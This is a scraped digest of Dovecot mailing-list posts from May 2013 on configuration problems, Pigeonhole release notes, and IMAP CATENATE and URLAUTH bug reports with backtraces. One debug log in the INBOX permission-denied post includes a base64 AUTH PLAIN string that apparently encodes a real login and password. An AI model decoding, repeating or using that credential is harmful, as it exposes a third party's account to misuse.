aside, does anyone know of a similar setup for SSL traffic on port 465 SSL for SMTP?) Thank you for any help, Trever

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[Dovecot] Keyword limit?
by Michael M Slusarz 15 May '13

15 May '13

Running into a weird issue in a mailbox that has 26+ keywords. In one session, I do this: S: 2 SELECT "INBOX" (QRESYNC (1255685337 78608 [...uids...])) S: [...] S: * OK [HIGHESTMODSEQ 78608] Highest S: * OK [UIDVALIDITY 1255685337] UIDs valid S: 2 OK [READ-WRITE] Select completed. C: 3 UID STORE 48386 (UNCHANGEDSINCE 78608) +FLAGS AAAAAAAA S: * 8 FETCH (UID 48386 MODSEQ (78609) FLAGS (\Seen AAAAAAAA)) S: 3 OK Store completed. C: 4 LOGOUT S: * OK [CLOSED] Previous mailbox closed. S: * BYE LOGOUT received S: 4 OK Completed The next time I access that mailbox, I see this: C: 2 SELECT "INBOX" (QRESYNC (1255685337 78609 [...uids...])) S: [...] S: * OK [UIDVALIDITY 1255685337] UIDs valid S: * OK [HIGHESTMODSEQ 78609] Highest S: * 8 FETCH (MODSEQ (78610) UID 48386 FLAGS (\Seen)) S: 2 OK [READ-WRITE] Select completed. MODSEQ 78610 is entirely server-initiated. It *appears* that the mailbox doesn't handle more than 26 keywords. My dovecot-keywords looks like: 0 $Forwarded [Entries 1-24] 25 Test "Test" is a keyword I created immediately before "AAAAAAAA". If I remove Test and then add "AAAAAAAA", the keyword sticks. Is this a built-in limit? Can't find anything in the config/wiki docs (Dovecot 2.1.16). Or are my dovecot index/cache files hosed in some way? michael

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[Dovecot] Mail deduplication
by Tim Groeneveld 15 May '13

15 May '13

Hi Guys, I am wondering about mail deduplication. I am looking into the possibility of seperating out all of the message bodies with multiple parts inside mail that is recived from `dovecot` and hashing them all. The idea is that by hashing all of the parts inside the email, I will be able to ensure that each part of the email will only be saved once. This means that attachments & common parts of the body will only be saved once inside the storage. How achievable would this be with the current state of dovecot? Would it even be worth doing? Thanks, Tim

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[Dovecot] quota and dict
by Jeff Gustafson 15 May '13

15 May '13

I have a question about using dict and quotas. I want dovecot to send quota queries to a custom dict server over a socket. I'm doing this because I can't do group quotas based on domain since a customer can have each of their users associated with different domains under a single account. I need to lookup the account ID and group based on that. I'm worried putting everything in mysql will cause way too many writes and lower the performance of our mysql cluster. I have having a little trouble connecting all the dots in the config file. In the userdb example, there is an 'args' parameter that allows a file to specify a uri. I don't see how to do that for dict. I only see file, mysql, and postgresql. Shouldn't I be able to use a dictionary proxy to attach any custom program to a quota dict socket? Tell the quota plug to proxy quota which then points to a socket: plugin { quota = dict:User quota::proxy::quota } dict { quota = proxy:/tmp/test-socket } or should it be: plugin { quota = dict:User quota::proxy:/tmp/test-socket } Neither one create a socket in /tmp. It seems like this should be possible, but I don't see an obvious way to do it. ...Jeff

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[Dovecot] Released Pigeonhole v0.4.0 for Dovecot v2.2.1.
by Stephan Bosch 15 May '13

15 May '13

Hello Dovecot users, I finally release the first version of Pigeonhole v0.4 for Dovecot v2.2. The main reason for the delay was that some unexpected (design) problems occurred with the new doveadm-sieve plugin, which allows synchronizing sieve scripts using doveadm sync. One important change is that I incorporated the extprograms plugin into the main Pigeonhole release. With this plugin it is possible to execute administrator-controlled external programs (shell scripts) from the Sieve interpreter, e.g. for special message delivery, filtering and string manipulation. The list of new features is not that impressive. I've been working on IMAP URLAUTH, IMAP CATENATE and HTTP support for Dovecot. Currently, I'm building an SMTP submission proxy server. After all that I plan to spend more time on Sieve development. One of the most important issues on my list is implementing support for using alternative types of storage (e.g. a database) for Sieve scripts, rather than only a filesystem directory as it is now. Changelog v0.4.0: + Added doveadm-sieve plugin that provides the possibility to sync Sieve scripts using doveadm sync along with the user's mailboxes. + Added the Sieve extprograms plugin to the main Pigeonhole package. It is still a plugin, but it is now included so that a separate compile is no longer necessary and distributors are likely to include it. The extprograms plugin provides Sieve language extensions that allows executing (administrator-controlled) external programs for message delivery, message filtering and string manipulation. Refer to doc/plugins/sieve_extprograms.txt for more information. + Added debug message showing Pigeonhole version at initialization. Makes it very clear that the plugin is properly loaded. + Finished implementation of the Sieve include extension. It should now fully conform to RFC 6609. The main addition is the new :optional tag which makes the include command ignore missing included scripts without an error. + Finished implementation of the Sieve environment extension as much as possible. Environment items "location", "phase" and "domain" now also return a usable value. The release is available as follows: http://www.rename-it.nl/dovecot/2.2/dovecot-2.2-pigeonhole-0.4.0.tar.gz http://www.rename-it.nl/dovecot/2.2/dovecot-2.2-pigeonhole-0.4.0.tar.gz.sig Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this new release and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

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[Dovecot] 2.2.x autobuilds: Debian Stable now Wheezy, which pool for 2.2.x?
by Ron Leach 15 May '13

15 May '13

List, good evening, just installed a new Debian Stable (Wheezy). The Debian Stable repositories now include Dovecot 2.1.7 as standard. I haven't installed that because I wanted to try 2.2.x on this new clean install but unsure which 'pool' to use in the xi.rename-it.nl repository of autobuilds. http://xi.rename-it.nl/debian/pool/ Wheezy became Stable on May 5, just a few days ago. I'm not sure whether to still follow the advice in the wiki for obtaining 2.2.x for Wheezy, which (understandably, because the new Debian Stable release has been so very recent) continues to refer to Wheezy as 'testing'. http://wiki2.dovecot.org/PrebuiltBinaries#Automatically_Built_Packages Presumably, the packages in the 'testing' autobuild system pick up Debian's 'testing' pool libraries (or assume them to exist) and these may no longer be the ones needed for Wheezy because Wheezy is 'Stable', in Debian-speak. Does anyone know, for sure, which autobuild pool to now use for 2.2.x for Wheezy? http://xi.rename-it.nl/debian/pool/stable-auto/ or http://xi.rename-it.nl/debian/pool/testing-auto/ 2.2.x in 'stable-auto' doesn't seem to have changed since before Wheezy was released, whereas 2.2.x has changed in 'testing-auto', and I'm not sure what to make of that. Stephan does suggest that queries be directly written to him, but I posted here because I thought I might not be the only person who was unsure. I'd be grateful for any advice, regards, Ron

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[Dovecot] Idea: POP3 deletion as a flag
by Timo Sirainen 14 May '13

14 May '13

GMail doesn't delete mails when POP3 client issues a DELE command for it. Instead they just become invisible for future POP3 sessions, but they still exist for IMAP/webmail. The same could be implemented pretty easily for Dovecot: - Add a new setting to enable this: pop3_deleted_flag = $POP3Deleted - When DELEting a message, add this flag to the message. - When listing messages, skip all messages that have this flag. - Also hide this flag from IMAP clients(?) Thoughts? Probably 20 lines of new code.

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[Dovecot] ot: mirroring/archiving to a Mac?
by voytek＠sbt.net.au 14 May '13

14 May '13

I have Doveot 2.1.1 on Centos, all's well user mails are kept for 60 days, then, 'aged off' (deleted) a Mac user with two domains and two dozen users asked me: can I set a mail server on my home Mac server, and, 'mirror' the real mail server mailboxes so than I can have an offline mail archive for ever ? I know very little about Macs, can I setup dovceot on Mac? any tips/suggestions/howtos for mirroring/archiving as so?

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[Dovecot] Pigeonhole: Typo in 20-managesieve.conf
by Gedalya 12 May '13

12 May '13

Line 33: #process_count = 1024 Probably you mean process_limit

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[Dovecot] Any way to let dovecot block pop3 attempts?
by Steve Campbell 12 May '13

12 May '13

Is there a way using dovecot facilities to block an IP from attempting POP3 connections (similar to the sendmail access file for smtp connections)? I usually do this at my border firewall, but if there's a quick and dirty way in dovecot to do this, it'd make life a little simpler. Thanks steve campbell

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[Dovecot] Problem with LDA reject message
by Davide 11 May '13

11 May '13

Hi to all, i have a problem with LDA when users are quota-full. My setup is Vpopmail + dovecot + lda; if i send a messagge internally to a user with quota full i receive correctly a messagge but in the header ( i attacch a snip) From - Fri May 10 14:42:27 2013 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 X-Mozilla-Keys: Return-Path: <"<>"@mail.cgilfe.it> i receive this strange Return-Path. I the messagge is sent outside other servers reply with this messagge: Subject: failure notice Hi. This is the qmail-send program at mail.cgilfe.it. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. <Roberta.Luzzi(a)filcams.cgil.it>: Connected to 80.207.169.234 but sender was rejected. Remote host said: 501 Address Syntax Error in <"<>"@mail.cgilfe.it> this is my .qmail-default file: |/var/qmail/bin/preline -f /usr/local/libexec/dovecot/dovecot-lda -d $EXT@$USER | /home/vpopmail/bin/vdelivermail "" bounce-no-mailbox Thanks in advance. -- *Davide Marchi* *T*eorema *F*errara *Srl* Via Spronello, 7 - Ferrara - 44121 Tel. *0532783161* Fax. *0532783368* E-m@il: *davide.marchi(a)mail.cgilfe.it* Skype: *davide.marchi73* Web: *http://www.cgilfe.it* *CONFIDENZIALITA'* *Ai sensi del D.Lgs. 196/2003 si precisa che le informazioni contenute in questo messaggio sono riservate ed a uso esclusivo del destinatario/dei destinatari. Qualora il messaggio in parola Le fosse pervenuto per errore, La invitiamo ad eliminarlo senza copiarlo e a non inoltrarlo a terzi, dandocene gentilmente comunicazione.* *Per favore, pensa all'ambiente. Stampa questa email solo se necessario.*

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Re: [Dovecot] Any way to let dovecot block pop3 attempts?
by Joseph Tam 11 May '13

11 May '13

Steve Campbell writes: > I use Centos and the default dovecot RPM. I seem to recall there was a > way to determine if dovecot was built with "--with-libwrap". Can anyone > shed light on how to determine this, please? Maybe dovecot --build-options Or you can just test it directly by denying a connection to a test host. Joseph Tam <jtam.home(a)gmail.com>

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[Dovecot] Remove Return-Path in lda rejection message
by Davide 11 May '13

11 May '13

Is it possible to remove return-path in dovecot lda rejection? -- *Davide Marchi* *T*eorema *F*errara *Srl* Via Spronello, 7 - Ferrara - 44121 Tel. *0532783161* Fax. *0532783368* E-m@il: *davide.marchi(a)mail.cgilfe.it* Skype: *davide.marchi73* Web: *http://www.cgilfe.it* *CONFIDENZIALITA'* *Ai sensi del D.Lgs. 196/2003 si precisa che le informazioni contenute in questo messaggio sono riservate ed a uso esclusivo del destinatario/dei destinatari. Qualora il messaggio in parola Le fosse pervenuto per errore, La invitiamo ad eliminarlo senza copiarlo e a non inoltrarlo a terzi, dandocene gentilmente comunicazione.* *Per favore, pensa all'ambiente. Stampa questa email solo se necessario.*

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[Dovecot] Expunge mailbox from script
by Paul van der Vlis 10 May '13

10 May '13

Hello, I would like to expunge all mail of a mailbox from a script. What's a good tool to do that? With regards, Paul van der Vlis. -- Paul van der Vlis Linux systeembeheer, Groningen http://www.vandervlis.nl/

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Re: [Dovecot] change inbox dotlock name
by Chris Saldanha 10 May '13

10 May '13

Axel Luttgens <AxelLuttgens(a)swing.be> wrote: > But I fear I don't understand your problem description. > Could you elaborate? Hi Axel, The issue is that the procmail port on FreeBSD doesn't acquire a dotlock when it's the default lock file (/var/mail/username.lock). It prints that it's bypassing the dotlock and just does a lockf() lock after. Looking in the code for procmail, it seems that it's being too clever with a bunch of checks and so it doesn't try to get the lock -- it's decided it doesn't want to before doing it. The permissions and runtime environment permit the lock, and the same lock is acquired correctly by dovecot when writing to the inbox. I'm doing dotlock and then lockf() locking in all the mail software. procmail's checks only seem to apply to the default lock file for the inbox. If I specify an alternate name in the .procmailrc for the $ORGMAIL delivery of the message, then it will acquire any other lock I ask, including an alternate name in the /var/mail directory. I'll dig into the procmail sources as needed to resolve it, but I had hoped that I could get dovecot to lock with a different filename, because that would resolve the issue with minimal hackery... Cheers, Chris -- Chris Saldanha Parliant Corporation

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[Dovecot] dovecot not logging after upgrade to 2.1.7 on debian
by Steinar Bang 09 May '13

09 May '13

After upgrading my IMAP server to the new debian stable, and upgrading dovecot from 1.x to 2.1.7 in the process, dovecot no longer logs anything to /var/log/mail.*. The last entries there are from before the upgrade, and no starts or error messages or failed login attempts, since then, have been logged. Does anyone know what might cause this? "doveconf -n" doesn't mention any of the log settings. Maybe the log settings aren't picked up? What could be done to make sure they are picked up? Here's the content of the /etc/dovecot/conf.d/10-logging.conf file: ## ## Log destination. ## # Log file to use for error messages. "syslog" logs to syslog, # /dev/stderr logs to stderr. log_path = syslog # Log file to use for informational messages. Defaults to log_path. #info_log_path = # Log file to use for debug messages. Defaults to info_log_path. #debug_log_path = # Syslog facility to use if you're logging to syslog. Usually if you don't # want to use "mail", you'll use local0..local7. Also other standard # facilities are supported. syslog_facility = mail ## ## Logging verbosity and debugging. ## # Log unsuccessful authentication attempts and the reasons why they failed. #auth_verbose = no # In case of password mismatches, log the attempted password. Valid values are # no, plain and sha1. sha1 can be useful for detecting brute force password # attempts vs. user simply trying the same password over and over again. #auth_verbose_passwords = no # Even more verbose logging for debugging purposes. Shows for example SQL # queries. #auth_debug = no # In case of password mismatches, log the passwords and used scheme so the # problem can be debugged. Enabling this also enables auth_debug. #auth_debug_passwords = no # Enable mail process debugging. This can help you figure out why Dovecot # isn't finding your mails. #mail_debug = no # Show protocol level SSL errors. #verbose_ssl = no # mail_log plugin provides more event logging for mail processes. plugin { # Events to log. Also available: flag_change append #mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename # Available fields: uid, box, msgid, from, subject, size, vsize, flags # size and vsize are available only for expunge and copy events. #mail_log_fields = uid box msgid size } ## ## Log formatting. ## # Prefix for each line written to log file. % codes are in strftime(3) # format. #log_timestamp = "%b %d %H:%M:%S " # Space-separated list of elements we want to log. The elements which have # a non-empty variable value are joined together to form a comma-separated # string. #login_log_format_elements = user=<%u> method=%m rip=%r lip=%l mpid=%e %c # Login log format. %$ contains login_log_format_elements string, %s contains # the data we want to log. #login_log_format = %$: %s # Log prefix for mail processes. See doc/wiki/Variables.txt for list of # possible variables you can use. #mail_log_prefix = "%s(%u): " # Format to use for logging mail deliveries. You can use variables: # %$ - Delivery status message (e.g. "saved to INBOX") # %m - Message-ID # %s - Subject # %f - From address # %p - Physical size # %w - Virtual size #deliver_log_format = msgid=%m: %$

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[Dovecot] Released Pigeonhole v0.3.5 for Dovecot v2.1.16
by Stephan Bosch 09 May '13

09 May '13

Hello Dovecot users, Before I release the first version of Pigeonhole v0.4, I quickly release a few small but important fixes for Pigeonhole v0.3. Changelog v0.3.5: - Sieve editheader extension: fixed interaction with the Sieve body extension. If used together, the deleteheader action could fail after a body test was performed. - Test suite: fixed a time zone dependency in the Sieve date extension tests. The release is available as follows: http://www.rename-it.nl/dovecot/2.1/dovecot-2.1-pigeonhole-0.3.5.tar.gz http://www.rename-it.nl/dovecot/2.1/dovecot-2.1-pigeonhole-0.3.5.tar.gz.sig Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this new release and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

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[Dovecot] Permission problem with LDA and dovecot 2.2.1
by Tobi 09 May '13

09 May '13

Hello list today I built dovecot 2.2.1 from sources. But I have permission problems with LDA The "normal" imap part works fine, users can login and see their boxes. deliver is called as LDA from postfix master.cf as follows << dovecot unix - n n - - pipe flags=DRhu user=vmail:vmail argv=/usr/local/libexec/dovecot/deliver -f ${sender} -d ${user}@${nexthop} >> but when I try to send a testmail then I get the following in the logs << 2013 May 6 18:37:59 nordkap lda: Fatal: Internal error occurred. Refer to server log for more information. May 6 18:37:59 nordkap dovecot: lda: Error: userdb lookup: connect(/var/run/dovecot/auth-userdb) failed: Connection refused May 6 18:37:59 nordkap dovecot: lda: Fatal: Internal error occurred. Refer to server log for more information. >> For me it looks odd because the auth-userdb is defined as << base_dir = /usr/local/var/run/dovecot/ service auth { unix_listener auth-userdb { mode = 0777 user = vmail group = vmail } .... >> The rights on the file should be correct according to the config above << ls -al /usr/local/var/run/dovecot/auth-userdb srwxrwxrwx 1 vmail vmail 0 May 6 20:11 /usr/local/var/run/dovecot/auth-userdb >> I cannot explain why the lda tries to access << Error: userdb lookup: connect(/var/run/dovecot/auth-userdb) >> I grepped through all the configfiles but could not find the "wrong" path from the error message above. Would it might be a "fix" to symlink /usr/local/var/run/dovecot to /var/run/dovecot ? Or would that break something with dovecot? Thanks for any hint or idea tobi

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[Dovecot] SSL problems on dovecot 2.1.7
by Steinar Bang 09 May '13

09 May '13

When I upgraded my debian-based imap server from squeeze to wheezy yesterday, SSL stopped working. I am using a http://cacert.org signed server sertificate, and I am reusing the certificates that were used on the 1.x dovecot of debian squeeze. My three MUAs that worked against the previous 1.x dovecot with the same certificate, now fails in various ways. Any hints and guesses as to how to debug this further will be highly appreciated. Even more appreciated will be a pin point of the issue. :-) Here are the error messages from the MUAs: - Opera 12.15 on Windows 7 just reports: "The connection with the IMAP server was unexpectedly interrupted." - Emacs24(w/linked-in gnutls)/Ma Gnus 0.8 (Gnus git HEAD) on Windows 7 says "imap.mydomain.com certificate could not be verified." - Emacs23/Ma Gnus 0.8 (also Gnus git HEAD) on debian testing (with Emacs23 gnutls-cli is run in a subprocess), says: "Opening connection to imap.mydomain.com via tls... Opening TLS connection to `imap.mydomain.com'... Opening TLS connection with `gnutls-cli --insecure -p 993 imap.mydomain.com'...done Opening TLS connection to `imap.mydomain.com'...done Unable to open server nnimap+privat due to: Process *nnimap* not running" When I try running gnutls-cli from the command line of the debian testing machine (the same gnutls-cli that is used by the emacs23/gnus combo), it seems to connect ok (the transcript of that session is below). The config for the SSL, from /etc/dovecot/conf.d/10-ssl.conf, is: # SSL/TLS support: yes, no, required. <doc/wiki/SSL.txt> ssl = yes # PEM encoded X.509 SSL/TLS certificate and private key. They're opened before # dropping root privileges, so keep the key file unreadable by anyone but # root. Included doc/mkcert.sh can be used to easily generate self-signed # certificate, just make sure to update the domains in dovecot-openssl.cnf ssl_cert = </etc/ssl/certs/imap_mydomain_com.pem ssl_key = </etc/ssl/private/imap_mydomain_com.key The access privileges of the files, are: -rw-r--r-- 1 root root 2077 Mar 27 12:45 /etc/ssl/certs/imap_mydomain_com.pem -rw------- 1 root root 3243 Jul 12 2011 /etc/ssl/private/imap_mydomain_com.key What follows, is the transcript from the gnutls-cli session from a debian testing machine to the server (which seems to be working as far as I can tell...): sb@edwards:~$ gnutls-cli -p 993 rainey.mydomain.com WARNING: gnome-keyring:: couldn't connect to: /home/sb/.cache/keyring-yeEdM3/pkcs11: No such file or directory Resolving 'rainey.mydomain.com'... Connecting to '212.110.185.190:993'... - Ephemeral Diffie-Hellman parameters - Using prime: 1024 bits - Secret key: 1023 bits - Peer's public key: 1023 bits - Certificate type: X.509 - Got a certificate list of 1 certificates. - Certificate[0] info: - subject `CN=imap.mydomain.com', issuer `O=Root CA,OU=http://www.cacert.org,CN=CA Cert Signing Authority,EMAIL=support(a)cacert.org', RSA key 4096 bits, signed using RSA-SHA1, activated `2013-03-27 12:43:30 UTC', expires `2013-09-23 12:43:30 UTC', SHA-1 fingerprint `86f8a501bca1e2b0eadc677bf05b103d298ce247' - The hostname in the certificate does NOT match 'rainey.mydomain.com' sb@edwards:~$ gnutls-cli -p 993 imap.mydomain.com WARNING: gnome-keyring:: couldn't connect to: /home/sb/.cache/keyring-yeEdM3/pkcs11: No such file or directory Resolving 'imap.mydomain.com'... Connecting to '212.110.185.190:993'... - Ephemeral Diffie-Hellman parameters - Using prime: 1024 bits - Secret key: 1022 bits - Peer's public key: 1021 bits - Certificate type: X.509 - Got a certificate list of 1 certificates. - Certificate[0] info: - subject `CN=imap.mydomain.com', issuer `O=Root CA,OU=http://www.cacert.org,CN=CA Cert Signing Authority,EMAIL=support(a)cacert.org', RSA key 4096 bits, signed using RSA-SHA1, activated `2013-03-27 12:43:30 UTC', expires `2013-09-23 12:43:30 UTC', SHA-1 fingerprint `86f8a501bca1e2b0eadc677bf05b103d298ce247' - The hostname in the certificate matches 'imap.mydomain.com'. - Peer's certificate issuer is unknown - Peer's certificate is NOT trusted - Version: TLS1.2 - Key Exchange: DHE-RSA - Cipher: AES-128-CBC - MAC: SHA1 - Compression: NULL - Handshake was completed - Simple Client Mode: * OK Waiting for authentication process to respond.. - Peer has closed the GnuTLS connection

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[Dovecot] dovecot stats
by Jan-Frode Myklebust 09 May '13

09 May '13

I just upgraded one of our servers to dovecot v2.1.16 (ee), and am looking into the stats feature. Am I interpreting the wiki correct in reading that the "doveadm stats dump command" only returns statistics about IMAP commands? Is it possible to collect info about POP3 and LMTP commands also ? Also, is "doveadm stats dump command" telling me the results of all commands that has finished the last stats_command_min_time, or will it maybe contain much more than 1 minute of activity ? -jf

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[Dovecot] AuthenticationFailedException: [IN-USE] Couldn't open INBOX: Permission denied
by Earles, Jill 09 May '13

09 May '13

I've been pouring over the documentation for dovecot, but can't find a solution to this problem. I recently took over administration of the dovecot email service at the University where I work, and things were going smoothly. We've been creating email accounts for use with JIRA, a bug reporting/tracking system, and one day recently, when I tried to add a new account to JIRA, I got this error returned from dovecot: "AuthenticationFailedException: [IN-USE] Couldn't open INBOX: Permission denied" I got help from Atlassian, the creators of JIRA, and they sent me links to some forum posts that said that changing the permissions of that user's /var/mail/ directory to 0600 would solve the problem. I changed that and no longer got the error. Being satisfied that this was a solution, I created a bunch of new email accounts today to replace exchange accounts, and then changed the permissions on all the /var/mail/ directories to 0600. Now I'm getting that error again, even for pre-existing email addresses, including the one that I had previously fixed by changing the permissions the same way. I tried changing some of the older accounts back to 0660, which is what they had before, and I still get the error even after restarting dovecot. JIRA uses POP, port 110, to connect to the dovecot mail server. I've also had the same problem trying to connect from Mac Mail. Our JIRA application is used for tracking issues for the UBC Libraries, and those email addresses are critical for the creation of tickets and adding comments to tickets. I am at a loss for what to do. Can anyone help? Thank you very much for your time. # dovecot -n # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-131.0.15.el6.x86_64 x86_64 Red Hat Enterprise Linux Server release 6.4 (Santiago) auth_debug = yes auth_debug_passwords = yes disable_plaintext_auth = no mail_access_groups = mail mail_location = mbox:~/mail:INBOX=/var/spool/mail/%u mail_privileged_group = mail mbox_write_locks = fcntl passdb { driver = pam } ssl_cert = </etc/pki/dovecot/certs/server.crt ssl_key = </etc/pki/dovecot/private/server.key userdb { driver = passwd } protocol pop3 { pop3_uidl_format = %08Xu%08Xv } Here's an except of the maillog from a recent attempt: May 8 17:46:49 moose dovecot: auth: Debug: pam(lib.sysadmin,{ip removed}): lookup service=dovecot May 8 17:46:49 moose dovecot: auth: Debug: pam(lib.sysadmin,{ip removed}): #1/1 style=1 msg=Password: May 8 17:46:49 moose dovecot: auth: Debug: client out: OK#0111#011user=lib.sysadmin May 8 17:46:49 moose dovecot: auth: Debug: master in: REQUEST#0111028653057#01128298#0111#011a60ed90501af39d7e353a14e027255cd May 8 17:46:49 moose dovecot: auth: Debug: passwd(lib.sysadmin,{ip removed}): lookup May 8 17:46:49 moose dovecot: auth: Debug: master out: USER#0111028653057#011lib.sysadmin#011system_groups_user=lib.sysadmin#011uid=523#011gid=524#011home=/home/lib.sysadmin May 8 17:46:49 moose dovecot: pop3-login: Login: user=<lib.sysadmin>, method=PLAIN, rip={ip removed}, lip={ip removed}, mpid=28302 May 8 17:46:49 moose dovecot: pop3(lib.sysadmin): Error: stat(/var/spool/mail/lib.sysadmin) failed: Permission denied May 8 17:46:49 moose dovecot: pop3(lib.sysadmin): Error: stat(/var/spool/mail/lib.sysadmin) failed: Permission denied May 8 17:46:49 moose dovecot: pop3(lib.sysadmin): Error: Couldn't open INBOX: Permission denied May 8 17:46:49 moose dovecot: pop3(lib.sysadmin): Couldn't open INBOX top=0/0, retr=0/0, del=0/0, size=0 May 8 17:46:50 moose dovecot: auth: Debug: auth client connected (pid=28303) May 8 17:46:50 moose dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=pop3#011lip={ip removed}#011rip={ip removed}#011lport=110#011rport=64420#011resp=AGJ2YXV3LnJlbGFpcwByM2xAaXMuYnZAdXc=

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[Dovecot] change inbox dotlock name
by Chris Saldanha 08 May '13

08 May '13

Hi, Is there a configuration element that would allow me to change the dot-lock name for the user's /var/mail inbox when it is locked? dovecot (correctly) acquires <username>.lock, but I'm having a problem with procmail where some obscure code path is preventing procmail's acquisition of a lock when it's that default name in /var/mail. The issue is not permissions (using a world-writeable and sticky-bit config for /var/mail). I'll dig into the procmail code if needed, but if dovecot could use a different filename for such locks, then that would solve my issue. procmail has such an option, and I only need to do this for inboxes. Thanks, Chris -- Chris Saldanha Parliant Corporation

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[Dovecot] sieve redirect envelope address problem
by Костырев Александр Алексеевич 08 May '13

08 May '13

Good day! I have a problem with mail redirection through sieve rules. I've configured sieve rule that redirects any mail coming to user to gmail mailbox (or whatever external mail system there is). But when sieve redirects any mail it puts vmail@%dovecot_hostname% into envelope address, gives it to my exim for delivery and gmail rejects my mail because user vmail@%dovecot_hostname% do not exist. Please, advice for what can be done about this behavior. my `doveconf -n` http://pastebin.com/0dyL9Jgs Thanks in advance! -- С уважением, Костырев Александр администратор Linux-систем

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[Dovecot] CATENATE mis-reads literal after bad URL
by Mike Abbott 08 May '13

08 May '13

Dovecot-2.2.1 plus Timo's recent CATENATE and URLAUTH fixes mishandles literals after bad URLs. (As before remember that the "foobar" text below is really "foobarCRLF" hence the length of 8. Also, last time some MTA discarded an important single leading space character in the snippet I quoted so this time I'm prefixing all the lines to avoid that. In case it's lost again, there's a space before the word "url" below.) | b append inbox catenate (text {8} | + OK | foobar | url /a-bad-url text {8} | b NO [BADURL /a-bad-url] Invalid messagepart IMAP URL. | c noop | d noop | d OK NOOP completed. | e logout | * BYE Logging out | e OK Logout completed. Note that the command with tag "c" is lost. I think it shouldn't be, because the NO was reported to the client without sending a continuation (+ OK) so the client knows not to send the literal. Plus it appears only one line is discarded regardless of the size of the literal.

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[Dovecot] URLAUTH assertion failures in 2.2.1
by Mike Abbott 07 May '13

07 May '13

Testing URLAUTH in dovecot-2.2.1 plus Timo's recent CATENATE and URLAUTH fixes eventually trips some assertions. No simple sequence of commands always hits these; they appear to be timing-dependent. The first one is: May 02 17:47:17 imap(pid 50490 user submit): Panic: file imap-client.c: line 643 (client_command_free): assertion failed: (client->output_cmd_lock == NULL) The line number doesn't match dovecot-2.2.1 due to Apple's unrelated modifications. 0 libsystem_kernel.dylib 0x00007fff8a9f7d4a __pthread_kill + 10 1 libsystem_pthread.dylib 0x00007fff8f728705 pthread_kill + 92 2 libsystem_c.dylib 0x00007fff8f48b17b abort + 125 3 libdovecot.0.dylib 0x000000010db8d2bb default_fatal_finish + 68 4 libdovecot.0.dylib 0x000000010db8df66 i_internal_error_handler + 0 5 libdovecot.0.dylib 0x000000010db8d53d i_panic + 158 6 imap 0x000000010da468fe client_command_free + 446 7 imap 0x000000010da47a33 client_output_cmd + 37 8 imap 0x000000010da46497 client_output + 143 9 libdovecot.0.dylib 0x000000010dba5610 stream_send_io + 53 10 libdovecot.0.dylib 0x000000010db9bc74 io_loop_call_io + 46 11 libdovecot.0.dylib 0x000000010db9cc85 io_loop_handler_run + 214 12 libdovecot.0.dylib 0x000000010db9be1f io_loop_run + 77 13 libdovecot.0.dylib 0x000000010db5b0c6 master_service_run + 24 14 imap 0x000000010da4fa66 main + 1010 15 libdyld.dylib 0x00007fff8f7887bd start + 1 The second one is: May 02 19:23:29 imap(pid 60229 user mja): Panic: file index-mail.c: line 1274 (index_mail_close_streams_full): assertion failed: (!mail->data.destroying_stream) 0 libsystem_kernel.dylib 0x00007fff8a9f7d4a __pthread_kill + 10 1 libsystem_pthread.dylib 0x00007fff8f728705 pthread_kill + 92 2 libsystem_c.dylib 0x00007fff8f48b17b abort + 125 3 libdovecot.0.dylib 0x00000001054c42bb default_fatal_finish + 68 4 libdovecot.0.dylib 0x00000001054c4f66 i_internal_error_handler + 0 5 libdovecot.0.dylib 0x00000001054c453d i_panic + 158 6 libdovecot-storage.0.dylib 0x00000001053aaebb index_mail_close_streams_full + 199 7 libdovecot-storage.0.dylib 0x00000001053aaf29 index_mail_close + 44 8 libdovecot-storage.0.dylib 0x00000001053ab6bd index_mail_free + 48 9 libdovecot-storage.0.dylib 0x000000010538a19a mail_free + 15 10 libdovecot-storage.0.dylib 0x00000001053dd3b3 imap_msgpart_url_free + 65 11 imap 0x000000010532d563 imap_urlauth_fetch_abort_local + 30 12 imap 0x000000010532cb96 imap_urlauth_fetch_abort + 38 13 imap 0x000000010532cb54 imap_urlauth_fetch_deinit + 24 14 imap 0x00000001053218bd cmd_urlfetch_finish + 45 15 imap 0x0000000105321aa3 cmd_urlfetch_continue + 167 16 imap 0x0000000105323ef8 command_exec + 55 17 imap 0x0000000105323a20 client_output_cmd + 18 18 imap 0x0000000105322497 client_output + 143 19 libdovecot.0.dylib 0x00000001054dc610 stream_send_io + 53 20 libdovecot.0.dylib 0x00000001054d2c74 io_loop_call_io + 46 21 libdovecot.0.dylib 0x00000001054d3c85 io_loop_handler_run + 214 22 libdovecot.0.dylib 0x00000001054d2e1f io_loop_run + 77 23 libdovecot.0.dylib 0x00000001054920c6 master_service_run + 24 24 imap 0x000000010532ba66 main + 1010 25 libdyld.dylib 0x00007fff8f7887bd start + 1

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[Dovecot] Dovecot Postfix Quota Policy Service
by Daniel Luttermann 07 May '13

07 May '13

Hallo zusammen, über den Policy Service von Dovecot zum Abfragen der User Quotas wurde ja schon diskutiert - auch gibt es eine gute Anleitung zum Einrichten, nur leider bekomme ich den Policy Server nicht korrekt konfiguriert. Folgende Fehler werden protokolliert: May 3 22:00:13 mail postfix/smtpd[17463]: warning: access table unix:private/quota-status entry has empty value May 3 22:00:42 mail dovecot: quota-status(daniel(a)dlutt.de): Error: user daniel(a)dlutt.de: Error reading configuration: net_connect_unix(/usr/var/run/dovecot/config) failed: Permission denied Es ist dabei so, dass nach einem Reload der Dienste die erste Mail noch zugestellt wird, die folgende, eingehende Mail dann jedoch abgelehnt wird. Nachfolgend die kompletten Logeinträge: May 3 22:00:12 mail postfix/smtpd[17463]: connect from mail-ie0-x236.google.com[2607:f8b0:4001:c03::236] May 3 22:00:13 mail postfix/smtpd[17463]: warning: access table unix:private/quota-status entry has empty value May 3 22:00:13 mail postfix/smtpd[17463]: 0EB81172391A: client=mail-ie0-x236.google.com[2607:f8b0:4001:c03::236] May 3 22:00:13 mail postfix/cleanup[17475]: 0EB81172391A: 